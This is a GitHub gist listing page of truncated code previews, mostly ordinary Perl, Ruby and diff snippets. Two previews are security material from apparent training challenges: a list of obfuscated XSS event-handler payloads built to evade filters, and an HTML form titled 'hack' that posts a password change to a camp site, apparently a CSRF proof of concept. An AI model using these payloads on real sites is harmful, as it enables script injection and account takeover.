Takumi Akiyama akiym
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use strict; | |
| use warnings; | |
| use utf8; | |
| package Amon2::Setup::Flavor::Teng; | |
| use parent qw(Amon2::Setup::Flavor::Basic); | |
| sub run { | |
| my $self = shift; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use strict; | |
| use warnings; | |
| use Encode; | |
| use JSON; | |
| use LWP::UserAgent; | |
| use URI; | |
| use Data::Dumper; | |
| use Data::Recursive::Encode; | |
| my $text = shift or die; |
akiym
/ webquery-first.pl
Created
May 30, 2011 15:29
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use strict; | |
| use warnings; | |
| use Web::Query; | |
| my $elem = wq('http://ch.nicovideo.jp/channel/ch60001') | |
| ->find('ul.g-video-mini .g-video-right'); | |
| $elem->{trees} = [$elem->{trees}[0]]; | |
| $elem->each(sub { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'formula' | |
| class GitManuals < Formula | |
| url 'http://ftp.jaist.ac.jp/pub/Linux/kernel.org/software/scm/git/git-manpages-1.7.6.1.tar.bz2' | |
| md5 'cae559424a62507cb2c15252d85a158e' | |
| end | |
| class GitHtmldocs < Formula | |
| url 'http://ftp.jaist.ac.jp/pub/Linux/kernel.org/software/scm/git/git-htmldocs-1.7.6.1.tar.bz2' | |
| md5 'f698e0abbf1555582e30320930391c59' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use strict; | |
| use warnings; | |
| # http://d.hatena.ne.jp/yuheiomori0718/20120116/1326715412 | |
| package MyString; | |
| use overload q{""} => \&as_string, fallback => 1; | |
| sub new { |
akiym
/ gist:3957634
Created
October 26, 2012 08:32
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| diff --git a/lib/Amon2/Lite.pm b/lib/Amon2/Lite.pm | |
| index c3f3aa1..0f75201 100644 | |
| --- a/lib/Amon2/Lite.pm | |
| +++ b/lib/Amon2/Lite.pm | |
| @@ -119,11 +119,11 @@ sub import { | |
| }; | |
| *{"$caller\::get"} = sub { | |
| - $router->connect($_[0], {code => $_[1], method => ['GET', 'HEAD']}); | |
| + $router->connect($_[0], {code => $_[1]}, {method => ['GET', 'HEAD']}); |
akiym
/ gist:9c9f903d824fddcaf2c8
Last active
December 8, 2015 01:06
箱庭XSSリターンズ (akiym, xrekkusu, lmt_swallow)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| "onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))" | |
| "><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><" | |
| "onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')" | |
| "onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))" | |
| "onfocus="window['\141\154\145\162\164']('\130\123\123')" | |
| "onKeyDown="parent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))" | |
| "onDblClick="window['aleraaaat'.replace('aaaa','')]('XaaaaSaaaaS'.replace('aaaa','').replace('aaaa',''))" | |
| "onMouseUp="window[String.fromCharCode(501-404,501-393,501-400,501-387,501-385)]('XSS')" | |
| "onMouseEnter="alert('XSS')" | |
| "onMouseDown="alert('XSS'� |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use strict; | |
| use warnings; | |
| use Test::More 0.98; | |
| use Test::Pretty 0.26; | |
| eval { | |
| die; | |
| }; | |
| ok $@; | |
| ok $@; # FAIL |
akiym
/ gist:6250163
Created
August 16, 2013 13:55
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8" /> | |
| <title>hack</title> | |
| </head> | |
| <body> | |
| <form action="http://camp2013prof.camp/menu.cgi?actionid=passchg" method="post"> | |
| <table border=0> | |
| <tr><td>新パスワード：</td> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use strict; | |
| use warnings; | |
| use LWP::UserAgent; | |
| my $filename = shift or die "Usage: $0 filename\n"; | |
| my $base_url = 'http://gyazo.com/'; | |
| my $ua = LWP::UserAgent->new; | |
| my $res = $ua->post("$base_url/upload", |